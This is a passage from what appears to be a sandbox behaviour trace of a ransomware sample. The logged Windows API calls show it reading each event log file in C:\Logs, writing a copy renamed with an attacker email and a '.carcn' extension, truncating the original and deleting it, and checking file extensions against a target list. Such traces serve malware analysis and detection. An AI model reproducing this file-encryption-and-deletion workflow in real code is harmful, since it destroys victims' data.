(normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.978] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.978] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.978] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.978] GetLastError () returned 0x0 [0178.978] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0178.997] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0178.999] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.999] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x134, lpOverlapped=0x0) returned 1 [0178.999] SetEndOfFile (hFile=0x35c) returned 1 [0178.999] CloseHandle (hObject=0x35c) returned 1 [0179.001] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.001] SetEndOfFile (hFile=0x300) returned 1 [0179.002] CloseHandle (hObject=0x300) returned 1 [0179.002] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.002] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0179.002] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.002] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.002] lstrlenW (lpString=".doc") returned 4 [0179.002] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.002] lstrlenW (lpString=".docx") returned 5 [0179.002] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.003] lstrlenW (lpString=".pdf") returned 4 [0179.003] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.003] lstrlenW (lpString=".xls") returned 4 [0179.003] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.003] lstrlenW (lpString=".xlsx") returned 5 [0179.003] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.003] lstrlenW (lpString=".ppt") returned 4 [0179.003] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.003] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.003] lstrlenW (lpString=".zip") returned 4 [0179.003] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.003] lstrlenW (lpString=".rar") returned 4 [0179.003] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.003] lstrlenW (lpString=".bz2") returned 4 [0179.003] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.003] lstrlenW (lpString=".7z") returned 3 [0179.003] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.003] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.003] lstrlenW (lpString=".dbf") returned 4 [0179.003] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.003] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.003] lstrlenW (lpString=".1cd") returned 4 [0179.003] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.003] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.003] lstrlenW (lpString=".jpg") returned 4 [0179.003] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.003] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.003] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.004] lstrlenW (lpString=".doc") returned 4 [0179.004] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.004] lstrlenW (lpString=".docx") returned 5 [0179.004] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.004] lstrlenW (lpString=".pdf") returned 4 [0179.004] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.004] lstrlenW (lpString=".xls") returned 4 [0179.004] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.004] lstrlenW (lpString=".xlsx") returned 5 [0179.004] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.004] lstrlenW (lpString=".ppt") returned 4 [0179.004] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.004] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.004] lstrlenW (lpString=".zip") returned 4 [0179.004] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.004] lstrlenW (lpString=".rar") returned 4 [0179.004] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.004] lstrlenW (lpString=".bz2") returned 4 [0179.004] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.004] lstrlenW (lpString=".7z") returned 3 [0179.004] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.004] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.004] lstrlenW (lpString=".dbf") returned 4 [0179.004] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.004] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.004] lstrlenW (lpString=".1cd") returned 4 [0179.004] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.004] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0179.004] lstrlenW (lpString=".jpg") returned 4 [0179.004] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.004] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.004] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78 [0179.005] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.005] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=1052672) returned 1 [0179.005] CloseHandle (hObject=0x300) returned 1 [0179.005] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0179.005] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.005] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.005] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.005] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.005] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0179.010] GetLastError () returned 0x0 [0179.010] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0179.212] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0179.227] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x1010, lpOverlapped=0x0) returned 1 [0179.644] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x1020, lpOverlapped=0x0) returned 1 [0179.647] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.647] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x170, lpOverlapped=0x0) returned 1 [0179.647] SetEndOfFile (hFile=0x35c) returned 1 [0179.648] CloseHandle (hObject=0x35c) returned 1 [0179.688] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.688] SetEndOfFile (hFile=0x300) returned 1 [0179.689] CloseHandle (hObject=0x300) returned 1 [0179.689] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.690] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0179.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.690] lstrlenW (lpString=".doc") returned 4 [0179.690] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.690] lstrlenW (lpString=".docx") returned 5 [0179.690] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.690] lstrlenW (lpString=".pdf") returned 4 [0179.690] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.690] lstrlenW (lpString=".xls") returned 4 [0179.690] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.690] lstrlenW (lpString=".xlsx") returned 5 [0179.690] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.690] lstrlenW (lpString=".ppt") returned 4 [0179.691] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.691] lstrlenW (lpString=".zip") returned 4 [0179.691] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.691] lstrlenW (lpString=".rar") returned 4 [0179.691] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.691] lstrlenW (lpString=".bz2") returned 4 [0179.691] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.691] lstrlenW (lpString=".7z") returned 3 [0179.691] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.691] lstrlenW (lpString=".dbf") returned 4 [0179.691] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.691] lstrlenW (lpString=".1cd") returned 4 [0179.691] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.691] lstrlenW (lpString=".jpg") returned 4 [0179.691] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.691] lstrlenW (lpString=".doc") returned 4 [0179.691] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.691] lstrlenW (lpString=".docx") returned 5 [0179.691] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.691] lstrlenW (lpString=".pdf") returned 4 [0179.691] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.691] lstrlenW (lpString=".xls") returned 4 [0179.692] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.692] lstrlenW (lpString=".xlsx") returned 5 [0179.692] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.692] lstrlenW (lpString=".ppt") returned 4 [0179.692] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.692] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.692] lstrlenW (lpString=".zip") returned 4 [0179.692] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.692] lstrlenW (lpString=".rar") returned 4 [0179.692] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.692] lstrlenW (lpString=".bz2") returned 4 [0179.692] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.692] lstrlenW (lpString=".7z") returned 3 [0179.692] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.692] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.692] lstrlenW (lpString=".dbf") returned 4 [0179.692] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.692] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.692] lstrlenW (lpString=".1cd") returned 4 [0179.692] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.692] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0179.692] lstrlenW (lpString=".jpg") returned 4 [0179.692] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.692] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.692] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47 [0179.692] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0179.765] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0179.765] CloseHandle (hObject=0x374) returned 1 [0179.765] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0179.765] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.765] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0179.766] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.766] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.766] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0179.769] GetLastError () returned 0x0 [0179.769] ReadFile (in: hFile=0x374, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.807] WriteFile (in: hFile=0x310, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.809] ReadFile (in: hFile=0x374, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.809] WriteFile (in: hFile=0x310, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x132, lpOverlapped=0x0) returned 1 [0179.809] SetEndOfFile (hFile=0x310) returned 1 [0179.813] CloseHandle (hObject=0x310) returned 1 [0179.815] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.815] SetEndOfFile (hFile=0x374) returned 1 [0179.816] CloseHandle (hObject=0x374) returned 1 [0179.816] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.816] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0179.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.816] lstrlenW (lpString=".doc") returned 4 [0179.816] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.817] lstrlenW (lpString=".docx") returned 5 [0179.817] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.817] lstrlenW (lpString=".pdf") returned 4 [0179.817] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.817] lstrlenW (lpString=".xls") returned 4 [0179.817] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.817] lstrlenW (lpString=".xlsx") returned 5 [0179.817] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.817] lstrlenW (lpString=".ppt") returned 4 [0179.817] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.817] lstrlenW (lpString=".zip") returned 4 [0179.817] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.817] lstrlenW (lpString=".rar") returned 4 [0179.817] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.817] lstrlenW (lpString=".bz2") returned 4 [0179.817] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.817] lstrlenW (lpString=".7z") returned 3 [0179.817] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.817] lstrlenW (lpString=".dbf") returned 4 [0179.817] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.817] lstrlenW (lpString=".1cd") returned 4 [0179.817] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.817] lstrlenW (lpString=".jpg") returned 4 [0179.817] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.817] lstrlenW (lpString=".doc") returned 4 [0179.817] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.817] lstrlenW (lpString=".docx") returned 5 [0179.817] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.817] lstrlenW (lpString=".pdf") returned 4 [0179.818] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.818] lstrlenW (lpString=".xls") returned 4 [0179.818] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.818] lstrlenW (lpString=".xlsx") returned 5 [0179.818] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.818] lstrlenW (lpString=".ppt") returned 4 [0179.818] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.818] lstrlenW (lpString=".zip") returned 4 [0179.818] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.818] lstrlenW (lpString=".rar") returned 4 [0179.818] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.818] lstrlenW (lpString=".bz2") returned 4 [0179.818] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.818] lstrlenW (lpString=".7z") returned 3 [0179.818] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.818] lstrlenW (lpString=".dbf") returned 4 [0179.818] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.818] lstrlenW (lpString=".1cd") returned 4 [0179.818] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0179.818] lstrlenW (lpString=".jpg") returned 4 [0179.818] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.818] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.818] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49 [0179.818] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0179.819] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0179.819] CloseHandle (hObject=0x374) returned 1 [0179.820] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0179.820] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.820] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0179.820] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.820] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.820] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: 